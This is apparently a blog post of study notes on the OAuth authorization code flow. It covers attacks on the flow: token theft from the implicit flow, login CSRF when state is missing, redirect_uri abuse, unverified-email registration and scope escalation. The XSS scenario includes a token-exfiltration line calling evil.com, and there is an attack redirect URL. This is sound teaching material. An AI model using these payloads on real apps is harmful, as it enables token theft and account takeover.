OAuth Attacks
This rough DOC is for understanding the OAuth flow and its vulnerabilities.
Understanding which requests go through the user’s browser vs which happen server-to-server is the key to understanding OAuth security.
Below is a clear flow chart with labels for:
- 🧑💻 Browser request (User → App/Provider)
- 🔒 Server-to-server request (App ↔ OAuth provider)
Secure OAuth Flow (Authorization Code Flow)
Actors
- User Browser
- Application Server (App)
- OAuth Provider (Google, GitHub, etc.)
Step-by-Step Flow Chart with Request Types
Step 1
User Browser → App
(GET /login)Type: 🧑💻 Browser request
Purpose: User clicks "Login with Google"Step 2
App generates:
state = RANDOM123
Stores it in user sessionApp → Browser:
Redirect to OAuth providerLocation:
https://provider.com/authorize?
client_id=APP123
redirect_uri=https://app.com/callback
response_type=code
state=RANDOM123Type: 🧑💻 Browser redirect
Purpose: Send user to OAuth provider loginStep 3
Browser → OAuth Provider
(GET /authorize?...state=RANDOM123)Type: 🧑💻 Browser request
Purpose: User logs in at providerUser enters:
- Username
- Password
- MFA
Step 4
OAuth Provider → Browser
Redirect to:https://app.com/callback?
code=AUTH_CODE_ABC
state=RANDOM123Type: 🧑💻 Browser redirect
Purpose: Send authorization code back to appStep 5
Browser → App
(GET /callback?code=AUTH_CODE_ABC&state=RANDOM123)Type: 🧑💻 Browser request
Purpose: Deliver code to appApp now:
- Verifies state
- Extracts code
Step 6
App → OAuth Provider
POST /tokenBody:
code=AUTH_CODE_ABC
client_id=APP123
client_secret=SECRETType: 🔒 Server-to-server request
Purpose: Exchange code for access tokenIMPORTANT:
This step does NOT go through the browser.
The browser never sees:
- client_secret
- access_token
Step 7
OAuth Provider → App
Response:
access_token=TOKEN_XYZType: 🔒 Server-to-server response
Purpose: Provide access tokenStep 8
App → OAuth Provider
GET /userinfo
Authorization: Bearer TOKEN_XYZType: 🔒 Server-to-server request
Purpose: Get user identityStep 9
App creates sessionApp → Browser
Set-Cookie: session=USER_SESSIONType: 🧑💻 Browser response
Purpose: Log user into appSummary Table (Very Important)
StepRequestType
User clicks loginBrowser → App🧑💻 BrowserRedirect to providerApp → Browser → Provider🧑💻 BrowserUser logs inBrowser → Provider🧑💻 BrowserProvider sends codeProvider → Browser → App🧑💻 BrowserCode exchangeApp → Provider🔒 Server-to-serverToken responseProvider → App🔒 Server-to-serverGet user infoApp → Provider🔒 Server-to-serverLogin sessionApp → Browser🧑💻 Browser
Simple Rule to Remember
Browser handles:
- Login
- Redirects
- Authorization code
Server handles:
- Code → token exchange
- User info retrieval
- Session creation
Why this separation is important
If token exchange happens in browser (implicit flow)
Then:
Provider → Browser:
#access_token=TOKEN123Now the browser:
- Can leak the token
- XSS can steal it
- Extensions can read it
That’s why implicit flow is insecure.
Visual Comparison
Secure Authorization Code Flow
Browser:
login
redirects
sends codeServer:
exchanges code
receives token
creates sessionInsecure Implicit Flow
What implicit flow does
Instead of sending a code:
Provider sends access token directly to browser.
Example:
https://app.com/callback#access_token=ABC123Why this is dangerous
Token is exposed to:
- Browser history
- JavaScript
- Malicious scripts
- Browser extensions
- Referrer headers
Real attack scenario (XSS)
If app has XSS:
Attacker injects:
fetch("https://evil.com/steal?token=" + location.hash)Victim logs in.
Browser loads:
#access_token=ABC123Script runs:
Token sent to attacker.
Result
Attacker now has:
access_token=ABC123And can:
- Access user data
- Act as victim
How state attack fits into this
The vulnerable part is:
Step 5
Browser → App
/callback?code=ATTACKER_CODEWhat state prevents
It prevents login CSRF or account-binding attacks.
Real-world exploitation scenario
Step-by-step attack
Assume:
- Victim uses App.com
- App uses OAuth login
- App does not validate state
Step 1: Attacker logs into OAuth
Attacker clicks:
Login with GoogleAttacker is redirected to:
https://app.com/callback?code=ATTACKER_CODEBut attacker does not complete login.
Get Mikee’s stories in your inbox
Join Medium for free to get updates from this writer.
Instead, attacker copies this URL.
Step 2: Attacker tricks victim
Attacker sends victim:
https://app.com/callback?code=ATTACKER_CODEVia:
- Chat
- Malicious website
- Hidden iframe
Step 3: Victim visits the link
Victim’s browser loads:
https://app.com/callback?code=ATTACKER_CODEApp:
- Exchanges code for token
- Gets attacker’s identity
- Logs victim into attacker’s account
Result
Victim is now logged into attacker’s account.
Why this is dangerous:
If victim:
- Adds personal data
- Uploads files
- Connects bank account
- Stores API keys
Attacker can later log in and steal it.
This is called:
Account pre-hijacking / login CSRF
Why state prevents this
Because:
Attacker link:
...callback?code=ATTACKER_CODEBut app expects:
...callback?code=CODE&state=RANDOM123Since attacker doesn’t know victim’s state:
→ login fails
If no state validation:
- App accepts code
- Exchanges it
- Logs victim into attacker account
redirect_uri Exploitation (Real attack)
What redirect_uri does
It tells the OAuth provider:
“Send the authorization code to this URL.”
Secure behavior
Provider should allow only:
https://app.com/callbackVulnerable behavior
Provider allows:
https://app.com/callback?next=ANYTHINGReal attack scenario
Step 1: Attacker creates malicious redirect
Attacker uses:
redirect_uri=https://app.com/callback?next=https://evil.comStep 2: Victim logs in
OAuth provider sends:
https://app.com/callback?
code=VICTIM_CODE
&next=https://evil.comApp processes code, then redirects to:
https://evil.com?code=VICTIM_CODEStep 3: Attacker steals code
Attacker server receives:
code=VICTIM_CODEAttacker exchanges code for token.
Result
Attacker logs in as victim.
Unverified User Registration Exploit
Vulnerable scenario
OAuth provider:
- Allows account creation
- Does not verify email
Real attack
Step 1: Attacker registers at provider
Attacker creates account:
Email: victim@company.comNo email verification required.
Step 2: Attacker logs into target app
Attacker clicks:
Login with OAuthProvider sends:
email = victim@company.comScope Upgrade Attack (Real example)
Normal request
scope=emailAttacker modifies it to:
scope=email+adminIf provider doesn’t validate:
- Attacker gets admin scope
Result
Attacker:
- Reads sensitive data
- Performs privileged actions
One-sentence memory trick
Everything before the authorization code is browser-based; everything after the code exchange must be server-to-server.
Remeber these things roughly:
- Secure flow
- State attack
- redirect_uri attack
- Implicit flow token theft






